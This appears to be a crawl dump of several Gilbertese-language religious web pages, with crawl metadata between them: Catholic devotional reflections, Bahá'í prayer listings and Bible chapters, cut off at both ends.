kateimatoaa te itiaki ao ana bon toronibwai ara botanaomata i matan te Atua.\n- Details\n- Written by Uriam Timiti\n-\nInanon au tai n reirei i Canberra i Aotiteria ao I a nako n te taina ni kawara te tabo n tataro teuana are kanga bon Bangotan Nei Maria iaon Aotiteria. N rokou ikekei ao e bon rangi n rotaki nanou n namakinan angin te tabo aio are I taku ba e onrake n ana tangira te Uea ao kanga akea te moan bai are e reke ba ai bon ti te kan tataro. I nako ngkanne ni kawara temanna te Tama ian te kai teuana ba Nna kaotibure ao bon iai naba au korona ae I uotia ba e na katabuaki. Ngke I a roko iroun te Tama ao e a nora au korona inanon baiu ao e taku; \"Ai tikiraoira te bai ae ko uouotia\". E a manga titirakinai ni kangai; \" Ao ko ataia ba e aera ngkai e moanaki te korona man te kaibangaki? E aki waekoa n reke au kaeka ma e a manga kabarabara te Tama n taku, \"Ko atai moromoron te korona aika nimabui? kanga a tei ibukin ana karaoiroi te Atua ae E kani kabaroa iaom. Ma ti teuana aron reken taian kakabaia ma karaoiroi aikai ba ti te KAIBANGAKI.\nE boni koaua tariu ma maneu ae te kaibangaki bon te bai ae ti riai n rinanona ao akea ae e kona ni birinako ma iai. E taku ana taeka te Uea nakoira n te Tabati aio ba ti riai ni kaakeaira boni ngaira,ti na tabeka ara kaibangaki man irira Iesu.\nN tabetai ao ti titiraki nakon te Uea ba e aera ngkai NGAI ae I anganaki te maraki ma te rawawata ao ti taku ba E ribuaka te Atua nakoira. Ke tao n tabetai ao ti bubuti ba e na kanakoaki mairoura te kaibangaki ba ti tuai n tauraoi ni butimaia. Ma te bai ae kakawaki ba ti riai n tauraoi ni waki nako n uota ara kabaingaki ni karokoa tokina. N aiaron Iesu are E uota ana kaibangaki ni karokoa tokina n te kawario ao ti riai naba ngaira ni keiaki ni uoti ara kaibangaki ni karokoa tokina ba ti aonga ni kona ni karekea uana are bon te kona ni mangauti ma Iesu inanon te mimitong. Ngkana ti taku ba ti kan nora makan te Atua ibuakora ao akea riki kawaina ba ti rinanon ana kaibangaki Iesu. Korakorara inanon ara botaki ni charismatic bon ti inanon naba te kaibangaki. Tariu ma maneu ti na butia te Atua ba E na anganira te tauroai ni butimaai ara kaibangaki ao n aki bakataeia ibukina ba ngkana ti anganaki te kaibangaki ao bon iai nanon te Atua ae moan te kakawaki iai ibukira.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira?start=1605","date":"2023-12-05T17:34:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100555.27\/warc\/CC-MAIN-20231205172745-20231205202745-00311.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1637,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.401,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tataro Ni Bahá'í\nBotaki n Tamnei\nTe Atua ae Atuau! Boni ngaiira Am toro ake ti a tia ni kamwawaira man bwaai ni kabane i Rarikim i nanon te Bong ae e mimitong aei. Ti a tia n ikotaki i nanon te Botaki n Tamnei aio, ni…\n'Abdu'l-Bahá\n•\n265 words\nNgkoe Uean te Abanuea! E ngae n are rabwatara a botaki ikai, ma nanora a mwaneraoi ni uotakinako n Am tangira, ao ti a tabekaki nako n ootan Moam ae e oota nako. E ngae n are ti ngore ma ti…\n'Abdu'l-Bahá\n•\n156 words\nBahá'í Prayers\nGet the app\nBahá'í Prayers\nGet the app","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.bahaiprayers.io\/category?id=304&l=gil","date":"2023-12-04T15:58:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100531.77\/warc\/CC-MAIN-20231204151108-20231204181108-00664.warc.gz","language":"gil","language_score":1.000007391,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"gil_Latn_score\": 1.0000073909759521}","num_words":102,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.255,"stopwords_ratio":0.402,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kanan Tamneira...\n- Details\n- Written by Administrator2\n-\nE moa kainakin karawa iaon te aba. Aio are e mataata raoi iroun Santo Batere Bio (St Padre Pio), are ana toa te bong aio, te bong are e mate iai, 23 Tebetemba. 1968 ngke ai 81 ana ririki.\nN Tebetemba 20, 1918 ao e katorobubua ian te kaibangaki Santo Batere Bio ngke a kaoti naba ikoakin Iesu iaon rabatana, ao e a riki ba te moan Tama n te Ekaretia ae e reke irouna ikoakin Iesu (Stigmata). E taekinaki ba a kua taokita n ukeuke iaon ikoakina ma akea kabarabaraana ae a kona n taekinna. A bon aki kona riki ni kabarabara ba e kanga n boiarara, kanga boiararan taian rooti, te rara ake a tiinako man ikoakin Santo Batere Bio.\nTi ongora n te bong aio n taian wareboki ana koroboki Santo Bauro nakoia kain Karatia ao e taku, \"I tauraki n te kaibangaki ma Kristo ao ngkanne ai tiaki ngai ae I maiu ma e maiu Kristo.\nTi kona naba ni kangai ba e a tia ni maiu ma ngaira Santo Batere Pio iaon te aba, n tauraki n te kaibangaki ma Iesu ni katoa bong ao ai tiaki ngaia ae maiu ma e maiu Kristo irouna.\nE moana kaainakin karawa Santo Batere Bio iaon te aba n arona n reitaki ni koaua ma Iesu n nanona ao rabatana ao ana kariaia ni butimai ikoakin ma marakin Iesu. Ae e kakawaki riki ba e moana kaainakin karawa Santo Batere Bio iaon te aba, n arona ni kairiia aomata nakon te kaiokaki ma Atiniban Iesu n te Takaramentu ni Kaiooki\/ Penetenia, are e riki ba oin ana makuri ni katoa bong. Ti a anga ara tataro n te bong aio ao n tainako ibukia ara Berebitero ba ana anganaki te korakora n nakoaia. Ti na bubutia naba Iesu ibukira ao ibukia raora nako ba E na anganira ni kabane te korakora ni kakawaria ni kaiokaki ma ngaia ba ti aonga ni moana kaainakin karawa iaon te aba n te nano ae itiaki ao e koaua inanon te ioki ni koaua ma Ngaia n tainako.\n- Details\n- Written by Taranieta\n-\nE teimatoa n taetae n akoi te Uea nakoira, n aiaron te karo nakoia natina ae e rangi n tatangiriia, ao e kauringira nakoara irouna are katean ana temboro.\nTi bane n ataia ba bon taekan naba nnena aika inanora ao inanoia tarira ma manera nako irarikin are bon taekan ana temboro ke mwengana n ara utu, ara botaki, ara kaawa ao n ara umantabu.\nNte wareboki n te bong aio ao e kauringira arora n taai ake ti kariaa te uaa ae bati ma aki riki, ao ngkana ti uoti rikaaki ba ti na kawakinni ke ti na kaikoi ao Ngaia E ukianako. E kaotia ba a riki aikai ba bukina ba e uruaki ana temboro ao ti bane n ienikuri moa tian ara auti ke are bon nanora.\nN te Taramo n te bong aio ao e kaotia iai te Uea ba E kukurei irouia ana botanaomata.\nAna botanaomata aika a mangori, aika a mauku iaon kieia ke tao aoraki iaon kieia.\nE anga te tokanikai nakoia akana a mangori, a kimareirei man nebonebo ana aomata ao a takarua ni kukurei iaon kieia, a takarua ni kamoamoa te Atua ao a taua te kabang ae e uaitera wiina,\nA riki ba ana tan buaka te Uea ao a kakoroi bukini motikan taekaia akana a kaitara te Uea.\nBon anne karineaia Ana aomata ni kabaneia.\nTi na butia te Uea ba ti na kona n nora aron kakawakin karimoaan katean moa ana temboro n tainako nakon ake bon nanora ao ara auti.\nTi na bubutia te nano ae mangori n tainako n aiaron nanoia aika a wene ni mauku ke n aoraki ao iai inanoia te nano ni koaua ni kainnanoa kan akoaakia ao ni kan buokaki iroura ao iroun te Uea. Iai naba inanoia te nano ae e kariaria ana buoka te Uea, ao atakina ba e korakora ao e m'aka te Uea man riai n anganaki karieana ao ngaira ti bon rangi ni mangori n akea arora ao korakorara imatana.\nTi na butia naba ba nanora ao ara auti, ana aki naba raka rietaia ma buburaia ao tamaroaia nakon ana temboro aika ti na katei, ao ti na aneneia n neboia n te kuna ae boou n tainako ba e kukurei iroura ana botanaomata.\n- Details\n- Written by Taranieta\n-\nE anganira ae e banin n tainako te Atua ao tiaki te kamakorokoro.\nAio te iango are e na kaira ara iango n te bong aio ao e bia reke ba ara kibu ni kauring inanon maiura ngkana ti waki n angan te Atua are mai iroura ni katoa bong.\nNgke e anganira natina te Atua ae Iesu, ao e aki anganira ni karaoia n te kawai ae e kimototo ba e bon kororaoi aron wakinana. E riki n aomata n aiarora ao e maiu n aiarora. E boo ma bai ake ti boo iai n aron te nanokawaki ao te kukurei, e namakina te mengabuaka, te kabuebue ao te maitoro, e kana aekan kanara iaon te aba,...E aki toki ikanne ma e a manga kataua ba natina ae ana rikitemanna, e kataua ba e na katokai ara bure iaona ao ni kamaiura n rarana, marakina ao matena. Ti nora iai te banin ma tiaki te kamakorokoro.\nTi teimatoa n karaoa ae aki riai, ti teimatoa ni baka ao ti teimatoa n aki muti ibuakon ara kekeiaki.\nE a manga kataua te Atua ba e na maeka ibuakora. Ni m'akana ae akea tiana, ao e katea te Eukari ae moan te tabu ao e maeka natina ae Iesu ibuakora n arona ae banin, n aomata n rabatana n te Eukari ae moan te tabu ao n arona n Atua ae te Teniman n Temanna.\nE kataua iai te Atua ba ti na botaki ni koaua ma ngaia, n arona n Atua ae moan te tabu, moan te maka, ao moan te mimitong n te komunio!!! Ba ngkana ti butimaea Iesu n te Eukari ao e roko inanora ma te Atua ae Tamana ao te Tamnei ae e Raoiroi, ba are te Atua ngaia, ae te Teniman n Temanna. E roko naba inanora Tinara Nei Maria ba e aki kona n kamaenakoaki Atinibanin Iesu ma Atinibanin Tinana Nei Maria. N rokon naba Nei Maria inanora ao raona naba n roko anera ma kain karawa ngkai e uea iaoia ao a reitaki inanon naba Atinibanna ao ana nebonebo nakon te Atua ae te Teniman n Temanna. N te tai naba aio are e anganira te Atua kororaoina ao tabaninna ao ngaia ni kabane, ba e nang ongora nakon nanora, ara tangira nakoina, ara bubuti ma ara kakatituaraoi nakoina, ngkana e a rin inanora ao n riki n ti teuana ma ngaira. Ti banin nakoina ngkai e roko ni banin ke ti anganna kamakoron nanora, ke maitira?\nTi a butia te Atua ba e na kaotamaakaa norakin ao namakinan kororaoin ao baninin baika e anganira ao ana tangira nakoira inanon ara tai n komunio ao inanon maiura n tainako, ao ti na butia ba e na anganira te korakora n anga ngaira n kabane nakoina n tainako n ara makuri ma ara anga nano. Tera ae na aki kona ni karaoia ngkana e a roko ae bon ngaia inanora n te komunio?\n- Details\n- Written by Taranieta\n-\nE taekinaki n te Eungkerio n te bong aio aron weteakin Mataio. E oti ba e mananga Iesu n rirakin te aobiti n angabai ke aobitin te tax ao e nora Mataio n tekateka inanona. E wetea Mataio ao e tuangnga ba e na rimiuina. E teirake Mataio ao e a rimuina. Ma iai riki te bai are e karaoia Mataio ba e bon kaira Iesu nako nanon ana auti ao e amarake ma ngaia ao a manga roko raraon Mataio ao a bane ni katongnga kimareirein te mimitong ao ana Tangira Iesu.\nE maiti te rongorongo inanon e karaki aio are ti kona noria ao ni kauaea.\nTiaki kona n ata ana tai Iesu n rirakira man weteira ba ti na iriria. Tao ti a taku ba ti a mengaraoi inanon ara aobiti ke n ara makuri are ti taku ba a reke iai kabaiara, ma ngaia iai nanon Iesu ae tiaki kona n ataia, ngke e a kan toua naba rarikin ara aobiti ke ara auti. Bon ibukina ba a kaokoro ana iango ma ara iango ao ara katei a kaokoro naba ma ana katei n aiaron raroan karawa ma aonteaba- n aron ana taeka ae tabu ibukira n te Tabati ae nako.\nMataio e ongo weteakina ao e aki tou n tekateka, ma e teirake ao e mananga n rimui.\nInanon ririmuiakin Iesu ao e uki nanona ao e a karina Iesu inanon ana auti are kaotan ukin nanona ni koaua.\nMan ongotaekana ao ukin nanona ao a bane ni kona n namakina naba mimitongin ao kimareirein te tangira ao te kamaiuaki, raraon nako Mataio, ma raraoia raraona!\nE kamatata naba Santo Bauro nakoia I Ebeto n te wareboki n te bong aio ba e anga Iesu te karatia nakon are e bon rineaia ni baintangiraia, n aron Mataio. Ti bane naba ni weteaki irouna ao e anganira ana baintangira aikanne aika bon taian karea ake a na anganira te toamau ni karaoi nakoara ni kabanina ao ni kakororaoa rabatana ae ana Ekaretia, ba ti na riki ba ana abotoro, tan kabuta ana Euangkerio, mitinare ke tao taan reirei.\nTi a butia Iesu n te tai aio ba ti na kona n ongo banaana ni katoa bong, e na anganira korakoran te angin n nano n aron Mataio are e aki tou n tekateka ma e teirake n ongotaeka ao e kauka nanona. Ti a butia naba Iesu ba e na anganira ana baintangira nakoira aika ana karea ba ti na karaoi raoi nakoara ibukina inanon maiura, ao ana maiti naba raraora, ao raraoia raraora, aika ana manga katongnga naba te kamaiuaki ao kimareirein Ana tangira te Atua.\n- Details\n- Written by Taranieta\n-","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira?start=1585","date":"2023-12-05T19:51:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100555.27\/warc\/CC-MAIN-20231205172745-20231205202745-00498.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1670,"character_repetition_ratio":0.051,"word_repetition_ratio":0.004,"special_characters_ratio":0.22,"stopwords_ratio":0.408,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kanan Tamneira...\n- Details\n- Written by Uriam Timiti\n-\nTariu ao maneu iai te koaua teuana are I taku ba ti bane n titebo iai. Ba ti a tia ni irira Iesu inanon te tai ae maan ao n tabetai ti a taku ba ai akea ara kanganga ni maiura ni Kiritian. Ma tao e bon riai ba ti na bon manga kaekaira n te tai aio ba iai te bai inanon maiura ae ti tuai man angan te Uea ke akea? Iai te ruu teuana inanora ae ti tuai man angan te Uea kingina ba E na inaomata iai?\nN te ewangkerio n te bong aio ao ti ongora aroia te koraki ake a taku ba a kan irira Iesu ma iai riki tabeia teuana ae a na karaoia imain ae a ira Iesu. E kamatata ikai Iesu ba bon akea nnen taian tabeianga ma katabetabe aikai ngkana ti na ira Iesu. Are nanona ba E tangiria Iesu ba ti na anga ngaira ni kababaneira ngkana ti na iriria. Are nanona naba ba ti na riai ni kanakoi baai ni kabane ke ni kainaomataira mani baikorakin te maiu aio ba e aonga n reke iroura te maiu ni koaua. Ti kona naba n noria ba akea te bai iaon te aonaba aio ae e kona ni kaboa kamaiuakira i Karawa ao akea naba te bai teuana mai aonteaba ae ti na uotia nakon te maiu ae na roko.\nTariu ao maneu ti na butia te Atua ana karatia ao Tamneina ae Raoiroi ba E na buokira ni kaotaira ba ti na kona n noora te bai inanon maiura ae ti tuai man angan te Uea. I taku ba aio bon te rongorongo ae kakawaki nakoira ba aio te itera ae na katabanina aron kamaiura man urua ana tabo te riaboro ni kona n rin inanora man urui maiura ni kekeiaki ma te Uea. Ti na kanakoi bai ni kabane ba ti aonga ni inaomata ni koaua mani kababaneira ibukin te Uea ae Ngaia te Koaua, te Kawai ao te Maiu.\n- Details\n- Written by Uriam Timiti\n-\nN tabetai ao ti kataia ni kakaai taian kakai inanon maiura ae ti na nora iai ana kaimimi te Uea ibuakora. N te bong aio ao ti kauringa ana toa St Vincent de Paul are rangi n kinaaki n arona n tabeakinia kainnano ma kananoanga. I taku ba bon aio te moan ni kakannato ni makuri ae ti kona iai ni kaota bannan te Atua nakoia tarira ma manera ni kabane.\nE boni kamimi aron kinaakin Iesu irouia aomata n ana tai ni maiu i aonteaba ba rinanon ana makuri n tangira ao n nanoanga nakoia aomata. Ngke E kaotia nakoia Abotoro i muin mangautina ao E rineia Iesu ba E na kinaaki n taian ikoaki iaon Rabatana.\nTariu ma maneu tera arora nakoia aika ti noria ba a kainnano mani kananoanga? Ngkana ti kan kaota Iesu nakoia ao ti na riai ni n tauraoi ni katokai i aora aroia n rawawata ao n namakina te kainnano iroura inanon karaoan ara makuri n ibuobuoki nakoia. Bon iai ana kibu ni koora St Vincent de Paul are e kangai, \"Ti na kaota tangiran te Atua ni uaan ara makuri ni baira ao man maonon ramara\". E taku naba Mother Teresa ba \"ti riai n tangira ni karokoa ae ti rotaki n te maraki\". Bon aikai aekani makuri aika ti kakoaua ba ti kona iai n roota Nanon ke Buroon te Atua, ao boni ngaia ngkanne kawain reken ana kakabaia te Atua ni maiura. Ngkana ti kauring ana taeka ni kakabaia Iesu ao ti kona ni kakoaua ba e na baroira taian kakabaiaki mairoun te Atua ngkana ti kakaraoa te makuri n tangira ma te nanoanga.\nTi na manga butia te Uea ba E na anganira te matairiki ni kona n nora Iesu ibuakora rinanoia kainnano ao n tauraoi ni kabanei maiura ibukin karaoani makuri n ibuobuoki nakoia tarira ma manera. Ngkana ti karaoa aio ma te nano ni koaua ao e na kona n noraki i roura bannan ni koaua Iesu are E na kona n ringi maiua aomata ba a na manga okira te Atua inanon te rairannano.\n- Details\n- Written by Taranieta\n-\n- Details\n- Written by Uriam Timiti\n-\nN tabetai ao ti tauaninne ba ti ngaira aika ti na kamaiuaki. Iroura ngaira katorika, ti kona n taku n tabetai ba ti ara bai te kamaiuaki ibukina ti katorika. Ma I taku ba n te koaua ao e aki reke kamaiuara man arara ke kainakin te aro teuana ke te botaki teuana ma e bon reke man ara makuri aika ti karaoi aika botau ma Nanon te Uea.\nNi karakinan teuae Mahtma Gandhi ae rang ni kinaaki ae kain Inria, ao iai temanna te Kiritian are titirakinna ba e aera ngkai e aki riki ba te Kiritian. E kaeka man taku Mahatma n taku ba e na ti kona n riki ba te Kiritian ngkana e a tia n nora te Kiritian ni koaua ni matana.\nTariu ma maneu ti na manga tuoi aron ara kekeiaki ni maiura ni Krirtian ba e uara. N te wareboki ngkoananoa ao ti kauringaki ba te bai ae kakawaki n ara kekeiaki bon te ongotaeka n te makuri. Ti na aki ti atonga te bai ae ti na karaoia ibukin te Uea ma ti na riai ni makuria. N te bong aio ao ti a manga anganaki teuana riki arora ae ti na kamaiuaki iai ao aio bon te nanorinano n aiaroia ataei aika uarereke. Ti na aki ukera te kamoamoaki n ara makuri ma ti na karaoi baai ni kabane ma te nano n tangira ao n nanoanga. Ti na kataia naba ni kakoroi nanon ara motintaeka ke ara taeka ni bau ma te Uea. Ti na uringa naba kakawakin arora ni maiu n te tai ae ngkai ba ngaia ae na bairea aron te tai ae na roko ibukira. A na bane ni mauna mani bua arora ni bure n taai aika nako ngkana ti rairi nanora man tanrikaki nakon te Uea n te tai aio ae ngkai naba. Te bai naba ae kakawaki ba ti riai n aki taku ba ti a kamaiuaki ba ngaira katorika ke kain te charismatic ma ti ngkana ti karaoa Nanon te Uea n taai nako ao ni maiu inanon te maiu ni karatia.\n- Details\n- Written by Taranieta\n-","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira?start=1580","date":"2024-04-22T01:00:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296818067.32\/warc\/CC-MAIN-20240421225303-20240422015303-00493.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1054,"character_repetition_ratio":0.051,"word_repetition_ratio":0.004,"special_characters_ratio":0.219,"stopwords_ratio":0.405,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n1 Ngai ae Bauro ae I karabuutinaki+ ibukini Kristo Iesu, ma Timoteo+ ae tarira. Nakoni Biremon ae tangiraki iroura, ae raora ni mwakuri, 2 ao nakon Abebia ae mwaanera, ao Arekibo+ ae raora n tautia ibukini Kristo, ao kaain te ekaretia ane n am auti:+ 3 Ke e mena iroumi te akoi ae rianako ma te rau mairoun te Atua ae Tamara, ao te Uea ae Iesu Kristo. 4 I aki toki ni kaitaua Atuau ngkana I mwanewea taekam n au tataro,+ 5 ngkai I teimatoa n ongongo taekan am onimaki ao am tangira ibukin* te Uea ae Iesu, ao ibukia* te koraki aika itiaki* ni kabane. 6 I tataro bwa e na kairiko te onimaki ane iroum ma raom n onimaki bwa ko na atai kakabwaia ni kabane ake ti karekei rinanoni Kristo. 7 Bwa I rangi ni kimwareirei tariu ao ni kabebeteaki n am tangira, ibukina bwa e kaungaaki nanoia te koraki aika itiaki* iroum. 8 Aei bukina ae I aki tua iai nakoim bwa ko na karaoa ae riai, e ngae ngke iai inaomatau ni karaoa anne ngkai I katiteuanaaki ma Kristo, 9 ma I kaungako n te tangira, ao n arou aei, ngai ae Bauro ae I a kara, eng, ae I karabuutinaki ngkai ibukini Kristo Iesu. 10 I kaungako ibukin natiu ae Onetimo,+ are I a tia n riki bwa kaanga tamana+ n au tai ni kabureaki.* 11 Akea ngkoa bongana iroum, ma e a rangi ni bongana ngkai iroum ao irou. 12 I a kaoka ngkai teuaei nakoim, eng, are boni ngaia buroou.* 13 I kan taua irou ikai bwa e na onea mwim ni buobuokai n au tai ni kabureaki ibukin te rongorongo ae raoiroi.+ 14 Ma I aki kani karaoa te bwai teuana n akea am kariaia, bwa e aonga n aki tebonaki am akoi nakoiu ma e na bon nako mai nanom.+ 15 Bwa tao e kitaniko teuaei ibukin tabeua te tai,* bwa e aonga ni manga okiriko ao n tiku iroum n aki toki, 16 n arona ae ai tiaki te toro+ ma e a kakawaki riki nakon te toro, bwa ai te tari ae tangiraki,+ ai moarara riki irou, ao ai batira riki ngkanne reitakimi i marenami ngkai am toro ngaia ao te tari naba ae tangiraki ae beku ibukin te Uea. 17 Mangaia ae ngkana ko taku bwa raoraom ngai,* ao butimwaea raoi teuaei ma te akoi n arom ni butimwaeai. 18 Ma ngkana e a tia ni karaoa ae kairua nakoim ke e bae iroum n te bwai teuana, ao taua anne bwa baeu. 19 I korea aei n oini baiu ngai ae Bauro: N na boni kabwaraa nakoim—ao tiaki n ae I tuangko bwa ko bae naba irou ibukini maium. 20 Eng tariu, kioina ngkai taan rimwin te Uea ngaira, I bia karekea kabwaiau mairoum ni butiiko bwa ko na kabebetea nanou ngkai te tia rimwini Kristo ngai. 21 I koroboki nakoim bwa I onimakiniko bwa ko na bon ira nanou, ao I ataiko bwa ko na boni karaoa ae raka riki nakon ae I taekinna. 22 Ma irarikin anne, katauraoa naba au tabo ni maeka, bwa I kantaningaia bwa N na kaokaki nakoimi*+ man ami kakorakora n tataro ibukiu, bwa I aonga ni beku ibukimi. 23 E kamauriko Ebabera+ ae raou n taenikai ibukini Kristo Iesu, 24 ao Mareko naba, Arititareko,+ Tema,+ ao Ruka,+ aika raou ni mwakuri. 25 E na mena iroumi ana akoi ae rianako te Uea ae Iesu Kristo, ibukin raoiroin nanomi ae kam kaotiotia.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/biremon\/1\/","date":"2018-01-18T02:36:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887054.15\/warc\/CC-MAIN-20180118012249-20180118032249-00038.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":592,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.395,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n4 I a manga rairaki riki nakoni mwakuri ni kabane aika karawawata aika waakinako i aan taai. I nori rannimataia akana karawawataaki, ao akea temanna ae e na kabebeteia.+ Iai mwaakaia taani karawawataia, ao akea temanna ae e na kabebeteia. 2 Ao I ataia bwa a kabwaia riki akana kamani mate nakoia akana maiu aika a tuai ni mate.+ 3 Ao ae e kabwaia riki nakoia koraki aikai bon te aomata ae tuai ni bungiaki,+ ae e tuai n nori mwakuri aika karawawata aika karaoaki i aan taai.+ 4 I a tia n nora te kakorakora* ae bati ao te mwakuri n te aro n rabakau bwa e reke man te kaiangatoa i marenaia aomata.+ Bon akea naba manenan te baei, boni kaean te ang. 5 E botii baina te aomata ae nanobaba ao e karokoa te kabuanibwai bon nakoina.*+ 6 E raoiroi riki te motirawa ae uarereke* nakon te mwakuri korakora ae bati* ao kaean te ang.+ 7 I rairaki nakon te katoto riki teuana ibukin te bwai ae akea manenana i aan taai: 8 Iai te aomata ae akea raona. Akea natina te mwaane ke tarina, ma bon akea tokin ana mwakuri korakora ni kabane. A aki kona n rauaki matana n te kaubwai.+ Ma e titirakinna i bon irouna ni kangai, 'Antai ae I mwakuri korakora ibukina ao ae I taui baika raraoi mairou ibukina'?+ Bon akea naba manenan te baei, ao bon te mwakuri ae karawawata.+ 9 A raoiroi riki uoman nakon temanna,+ ibukina bwa iai kaniwangaia* ae raoiroi ibukin aia mwakuri korakora. 10 Bwa ngkana e bwaka temanna irouia, ao e kona are temanna ni buoka raona ni kateirakea. Ma tera ae e na riki nakon te aomata ae bwaka ao akea ae e na buokia ni kateirakea? 11 Irarikin anne, ngkana a uaia ni wene aomata aika uoman, ao a na abue, ma e na kangaa n abue ae tii temanna? 12 Ao e kona te aomata n tokanikai i aon ae tii temanna, ma a kona aika uoman n tei ni kaitaraa te aomata anne. Ao e aki waekoa ni* moti te karai ae te nano tennai. 13 E raoiroi riki te teei ae maiu ni kainnano ma e wanawana, nakon te uea ae e a kara ma e nanobaba,+ ae e a aki tau wanawanana ni kona ni mutiakina te kauring.+ 14 Bwa e* otinako man te karabuuti bwa e na riki bwa te uea,+ e ngae ngke e bungiaki bwa te aomata ae maiu ni kainnano i aan te tautaeka anne.+ 15 I iangoiia te koraki nako aika maiu aika ririaki i aan taai, n ikotaki naba ma aron te tia onomwi ae ataei ae teirake n onea mwin are temanna. 16 E ngae ngkai a bane ni boutokaia aomata, ma ane a na aki kukurei irouna te koraki ake a kaoti rimwi.+ Bon akea naba bongan te baei, boni kaean te ang.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/te-minita\/4\/","date":"2018-01-19T19:29:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084888113.39\/warc\/CC-MAIN-20180119184632-20180119204632-00053.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":500,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.438,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n31 A na reke kaia te koraki ake a ruo nako Aikubita ibukini buokaia,+Ake a onimakinia aoti,+Ake a onimakini kaa ni buaka ngkai a rangi ni bati,Ma aoti* ni buaka ngkai a korakora. Ma a aki mutiakina Teuare Tabu iroun Iteraera,Ao a aki ukoukora Iehova. 2 Ma e wanawana naba ao e na uota te kabuanibwai,Ao e na aki manga kaoki ana taeka. E na teirake n ekiianako te koraki ake taani kakaraoa ae buakaka,Ao n ekiianako te koraki ake a buokiia taani kakaraoa ae bure.+ 3 Ma bon tii aomata I-Aikubita, ao a aki kona ni kabotauaki ma te Atua. Bon iriko aia aoti ao tiaki taamnei.+ Ngkana e arora baina Iehova,Ao a na tatanako naake a anga aia ibuobuokiAo a na bwaka naake a buokaki. A na bane ni mate n te tai ae tii teuana. 4 Bwa e kangai ana taeka Iehova nakoiu: \"N aron te raian ae kakarongoa ae te raian ae korakora ae ataei i aoni konana,Ngkana a weteaki te koraki aika taani kawakintiibu ni kabane bwa a na kaitaraa,Ao e aki maakunrang ni bwanaaiaKe ni maaka karongoaaia,Ao ai aron naba Iehova ae Atuaia taanga ni buaka* bwa e na ruo ni buakaIbukin te Maunga ae Tion ao ibukin ana tabuki neiei. 5 N aroia mannikiba aika titiku rikaaki, ao ai aron naba Iehova ae Atuaia taanga ni buaka n tei ibukin Ierutarem.+ E na tei ibukin neiei ma ni kamaiua. E na katokaa kain neiei ma ni karekea maiun neiei.\" 6 \"Okira Teuare kam a tia n rangi ni kabatiaa te karitei nakoina, ngkami aika tibun Iteraera.+ 7 Bwa n te bong anne ao a na rawa aomata n tatabemania nako nakon atuaia aika tirewa aika akea manenaia, ao atuaia aika koora aika akea uaaia, ake e karaoi baim ao ni bure iai. 8 Ao e na bwaka te I-Aturia n te kabaang, ae tiaki ana kabaang te mwaane,Ao e na kabwautia te kabaang ae tiaki ana kabaang te aomata.+ E na birinako ibukin te kabaang,Ao a na tautoronaki ana rorobuaka n ataei. 9 E na maunanako ana bwaa ibukin te maaku ae korakora,Ao a na maakunrang ana aomata ake tooka ibukin te kai 